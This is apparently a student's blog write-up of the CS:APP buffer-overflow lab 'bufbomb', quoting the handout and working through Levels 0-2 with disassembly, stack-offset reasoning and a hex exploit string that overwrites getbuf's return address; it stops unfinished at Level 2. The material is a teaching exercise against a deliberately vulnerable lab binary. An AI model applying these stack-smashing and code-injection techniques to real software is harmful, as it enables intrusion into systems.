cs app lab3 缓冲区溢出攻击 bufbomb

来源:互联网 发布:c语言程序编程教学 编辑:程序博客网 时间:2024/05/29 19:36

The BUFBOMB Program

The BUFBOMB program reads a string from standard input with a function getbuf having the following C code:

1 int getbuf()

2 {

3 char buf[12];

4 Gets(buf);

5 return 1;

6 }

The function Gets is similar to the standard library function gets—it reads a string from standard input (terminated by ‘\n’ or end-of-file) and stores it (along with a null terminator) at the specified destination. In this code, the destination is an array buf having sufficient space for 12 characters. Neither Gets nor gets has any way to determine whether there is enough space at the destination to storethe entire string. Instead, they simply copy the entire string, possibly overrunning the bounds of the storage allocated at the destination. If the string typed by the user to getbuf is no more than 11 characters long, it is clear that getbuf will return 1, as shown by the following execution example:

unix> ./bufbomb

Type string: howdy doody

Dud: getbuf returned 0x1

Typically an error occurs if we type a longer string:

unix> ./bufbomb

Type string: This string is too long

Ouch!: You caused a segmentation fault!

As the error message indicates, overrunning the buffer typically causes the program state to be corrupted, leading to a memory access error. Your task is to be more clever with the strings you feed BUFBOMB so that it does more interesting things. These are called exploit strings.

BUFBOMB takes several different command line arguments:

-t NAME: Operate the bomb for the indicated name. You should always provide this argument for several reasons:

It is required to log your successful attacks. BUFBOMB determines the cookie you will be using based on your name, just as does the program MAKECOOKIE.  We have built features into BUFBOMB so that some of the key stack addresses you will need to use depend on your cookie.

-h: Print list of possible command line arguments

-n: Operate in “Nitro” mode, as is used in Level 4 below.

Your exploit strings will typically contain byte values that do not correspond to the ASCII values for printing characters. The program SENDSTRING can help you generate theserawstrings. It takes as input a hexformatted string. In this format, each byte value is represented by two hex digits. For example, the string “012345” could be entered in hex format as “30 31 32 33 34 35.” (Recall that the ASCII code fordecimal digit is 0x3x). Non-hex digit characters are ignored, including the blanks in the example shown.If you generate a hex-formatted exploit string in the file exploit.txt, you can apply the raw string to BUFBOMB in several different ways:

1. You can set up a series of pipes to pass the string through SENDSTRING.

unix> cat exploit.txt | ./sendstring | ./bufbomb -t bovik

2. You can store the raw string in a file and use I/O redirection to supply it to BUFBOMB:

unix> ./sendstring < exploit.txt > exploit-raw.txt

unix> ./bufbomb -t bovik < exploit-raw.txt

This approach can also be used when running BUFBOMB from within GDB:

unix> gdb bufbomb

(gdb) run -t bovik < exploit-raw.txt

One important point: your exploit string must not contain byte value 0x0A at any intermediate position, since this is the ASCII code for newline (‘\n’). When Gets encounters this byte, it will assume you intended to terminate the string. SENDSTRING will warn you if it encounters this byte value.When you correctly solve one of the levels, BUFBOMB will automatically send an email notification to our grading server. The server will test your exploit string to make sure it really works, and it will update the lab web page indicating that your name (listed by cookie) has completed this level.Unlike the bomb lab, there is no penalty for making mistakes in this lab. Feel free to fire away at BUFBOMB with any string you like.


Level 0: Candle (10 pts)

The function getbuf is called within BUFBOMB by a function test having the following C code:

1 void test()

2 {

3 int val;

4 volatile int local = 0xdeadbeef;

5 entry_check(3); /* Make sure entered this function properly */

6 val = getbuf();

7 /* Check for corrupted stack */

8 if (local != 0xdeadbeef) {

9 printf("Sabotaged!: the stack has been corrupted\n");

10 }

11 else if (val == cookie) {

12 printf("Boom!: getbuf returned 0x%x\n", val);

13 validate(3);

14 }

15 else {

16 printf("Dud: getbuf returned 0x%x\n", val);

17 }

18 }

When getbuf executes its return statement (line 5 of getbuf), the program ordinarily resumes execution within function test (at line 8 of this function). Within the file bufbomb, there is a function smoke having the following C code:

void smoke()

{

entry_check(0); /* Make sure entered this function properly */

printf("Smoke!: You called smoke()\n");

validate(0);

exit(0);

}

Your task is to get BUFBOMB to execute the code for smoke when getbuf executes its return statement, rather than returning to test. You can do this by supplying an exploit string that overwrites the stored return pointer in the stack frame for getbuf with the address of the first instruction in smoke. Note that your exploit string may also corrupt other parts of the stack state, but this will not cause a problem, since smoke causes the program to exit directly.

 

Some Advice:

 All the information you need to devise your exploit string for this level can be determined by examining a diassembled version of BUFBOMB.

 Be careful about byte ordering.

 You might want to use GDB to step the program through the last few instructions of getbuf to make sure it is doing the right thing.

 The placement of buf within the stack frame for getbuf depends on which version of GCC was used to compile bufbomb. You will need to pad the beginning of your exploit string with the proper number of bytes to overwrite the return pointer. The values of these bytes can be arbitrary.

可以看到:Your task is to get BUFBOMB to execute the code for smoke when getbuf executes its return statement, rather than returning to test.

任务是把getbuf函数返回的地址改为smoke的地址。

getbuf函数的汇编代码:

   0x08048ad0 <+0>:push   %ebp   0x08048ad1 <+1>:mov    %esp,%ebp   0x08048ad3 <+3>:sub    $0x28,%esp   0x08048ad6 <+6>:lea    -0x18(%ebp),%eax   0x08048ad9 <+9>:mov    %eax,(%esp)   0x08048adc <+12>:call   0x80489c0 <Gets>   0x08048ae1 <+17>:leave     0x08048ae2 <+18>:mov    $0x1,%eax   0x08048ae7 <+23>:ret   
可以看到buff存放在返回地址的4+0x18=0x1c处,其十进制是28则要在输入填充28个数,后接smoke的地址

smoke反汇编:

Dump of assembler code for function smoke:
   0x08048eb0 <+0>: push   %ebp
   0x08048eb1 <+1>: mov    %esp,%ebp
   0x08048eb3 <+3>: sub    $0x8,%esp
   0x08048eb6 <+6>: movl   $0x80495f7,(%esp)
   0x08048ebd <+13>: call   0x8048758 <puts@plt>
   0x08048ec2 <+18>: movl   $0x0,(%esp)
   0x08048ec9 <+25>: call   0x8048af0 <validate>
   0x08048ece <+30>: movl   $0x0,(%esp)
   0x08048ed5 <+37>: call   0x80487e8 <exit@plt>
smoke地址08048eb0,因为是小端机器

所以填入

00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 b0 8e 04 08

然而怎么都不对,输出

run -t wu<text.txt
Starting program: /home/zawdcxs/Desktop/bufbomb -t wu<text.txt
Team: wu
Cookie: 0x706f2ba4


Program received signal SIGSEGV, Segmentation fault.
0x30302030 in ?? ()

有这么一个文件SENDSTRING: A utility to help convert between string formats.作用是把十六进制转换成字符串】

1. You can set up a series of pipes to pass the string through SENDSTRING.

unix> cat exploit.txt | ./sendstring | ./bufbomb -t bovik

2. You can store the raw string in a file and use I/O redirection to supply it to BUFBOMB:

unix> ./sendstring < exploit.txt > exploit-raw.txt

//我用这一局把16进制文本00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 
00 00 00 00 00 00 00 00 00 00 00 00 00 b0 8e 04 08 就是text.txt转换成了对应的字符串格式文本text-raw.txt

unix> ./bufbomb -t bovik < exploit-raw.txt

This approach can also be used when running BUFBOMB from within GDB:

unix> gdb bufbomb

(gdb) run -t bovik < exploit-raw.txt

原始二进制文件:


这是得到的字符串:


控制台把text-raw.txt给bufbomb:


you called smoke!


Level 1: Sparkler (20 pts)

Within the file bufbomb there is also a function fizz having the following C code:

void fizz(int val)

{

entry_check(1); /* Make sure entered this function properly */

if (val == cookie) {

printf("Fizz!: You called fizz(0x%x)\n", val);

validate(1);

} else

printf("Misfire: You called fizz(0x%x)\n", val);

exit(0);

}

Similar to Level 0, your task is to get BUFBOMB to execute the code for fizz rather than returning to test. In this case, however, you must make it appear to fizz as if you have passed your cookie as its argument. You can do this by encoding your cookie in the appropropriate place within your exploit string.

 

Some Advice:

Note that the program won’t really call fizz—it will simply execute its code. This has important implications for where on the stack you want to place your cookie.

要求是让bufbomb运行fizz的val==cookie分支

Dump of assembler code for function fizz:   0x08048e60 <+0>:push   %ebp   0x08048e61 <+1>:mov    %esp,%ebp   0x08048e63 <+3>:sub    $0x8,%esp   0x08048e66 <+6>:mov    0x8(%ebp),%eax   0x08048e69 <+9>:cmp    0x804a1d4,%eax   0x08048e6f <+15>:je     0x8048e90 <fizz+48>   0x08048e71 <+17>:mov    %eax,0x4(%esp)   0x08048e75 <+21>:movl   $0x804988c,(%esp)   0x08048e7c <+28>:call   0x80487a8 <printf@plt>   0x08048e81 <+33>:movl   $0x0,(%esp)   0x08048e88 <+40>:call   0x80487e8 <exit@plt>   0x08048e8d <+45>:lea    0x0(%esi),%esi   0x08048e90 <+48>:mov    %eax,0x4(%esp)   0x08048e94 <+52>:movl   $0x80495d9,(%esp)   0x08048e9b <+59>:call   0x80487a8 <printf@plt>   0x08048ea0 <+64>:movl   $0x1,(%esp)   0x08048ea7 <+71>:call   0x8048af0 <validate>   0x08048eac <+76>:jmp    0x8048e81 <fizz+33>End of assembler dump.
可以看到val存在%eax和0x804a1d4的cookie比较,%eax由%ebp+8得到

回想一下getbuf()返回时做了什么很有好处。它把rtn addr弹出来了,那么最后%esp就成了rtn addr所在内存的上一个地址。而当push %ebp时,%esp又压入一个,于是它又变成了rtn addr所在的地址。那么0x8(%ebp)就是rtn addr所在内存的上两个地址.

对应的16进制文件,字符串文件,测试代码:



Level 2: Firecracker (30 pts)

A much more sophisticated form of buffer attack involves supplying a string that encodes actual machine instructions. The exploit string then overwrites the return pointer with the starting address of these instructions. When the calling function (in this case getbuf) executes its ret instruction, the program will start executing the instructions on the stack rather than returning. With this form of attack, you can get the program to do almost anything. The code you place on the stack is called theexploitcode. This style of attack is tricky, though, because you must get machine code onto the stack and set the return pointer to the start of this code.

Within the file bufbomb there is a function bang having the following C code:

int global_value = 0;

void bang(int val)

{

entry_check(2); /* Make sure entered this function properly */

if (global_value == cookie) {

printf("Bang!: You set global_value to 0x%x\n", global_value);

validate(2);

} else

printf("Misfire: global_value = 0x%x\n", global_value);

exit(0);

}

Similar to Levels 0 and 1, your task is to get BUFBOMB to execute the code for bang rather than returning to test. Before this, however, you must set global variable global_value to your name’s cookie. Your exploit code should set global_value, push the address of bang on the stack, and then execute a retinstruction to cause a jump to the code for bang.

 

Some Advice:

 You can use GDB to get the information you need to construct your exploit string. Set a breakpoint within getbuf and run to this breakpoint. Determine parameters such as the address of global_value and the location of the buffer.

 Determining the byte encoding of instruction sequences by hand is tedious and prone to errors. You can let tools do all of the work by writing an assembly code file containing the instructions and data you want to put on the stack. Assemble this file with GCC and disassemble it with OBJDUMP. You should be able to get the exact byte sequence that you will type at the prompt. (A brief example of how to do this is included at the end of this writeup.)

  Keep in mind that your exploit string depends on your machine, your compiler, and even your name’s cookie. Do all of your work on a Fish machine, and make sure you include the proper name on the command line to BUFBOMB.

 Our solution requires 16 bytes of exploit code. Fortunately, there is sufficient space on the stack, because we can overwrite the stored value of %ebp. This stack corruption will not cause any problems, since bang causes the program to exit directly.

 Watch your use of address modes when writing assembly code.

Note that movl $0x4, %eax moves the value 0x00000004 into register %eax; whereas movl 0x4, %eax moves the value atmemory location 0x00000004 into %eax. Since that memory location is usually undefined, the second instruction will cause a segfault!

Do not attempt to use either a jmp or a call instruction to jump to the code for bang. These instructions uses PC-relative addressing, which is very tricky to set up correctly.Instead, push an address on the stack and use the ret instruction.

可以看到任务是让全局变量global_value和cookie相等

bang的汇编代码:
Dump of assembler code for function bang:   0x08048e10 <+0>:push   %ebp   0x08048e11 <+1>:mov    %esp,%ebp   0x08048e13 <+3>:sub    $0x8,%esp   0x08048e16 <+6>:mov    0x804a1c4,%eax   0x08048e1b <+11>:cmp    0x804a1d4,%eax   0x08048e21 <+17>:je     0x8048e40 <bang+48>   0x08048e23 <+19>:mov    %eax,0x4(%esp)   0x08048e27 <+23>:movl   $0x80495bb,(%esp)   0x08048e2e <+30>:call   0x80487a8 <printf@plt>   0x08048e33 <+35>:movl   $0x0,(%esp)   0x08048e3a <+42>:call   0x80487e8 <exit@plt>   0x08048e3f <+47>:nop   0x08048e40 <+48>:mov    %eax,0x4(%esp)   0x08048e44 <+52>:movl   $0x8049864,(%esp)   0x08048e4b <+59>:call   0x80487a8 <printf@plt>   0x08048e50 <+64>:movl   $0x2,(%esp)   0x08048e57 <+71>:call   0x8048af0 <validate>   0x08048e5c <+76>:jmp    0x8048e33 <bang+35>End of assembler dump.
看到global_value存在%eax即
0x804a1c4中
唉。。又不明白了。。问人之后再来
0 0
原创粉丝点击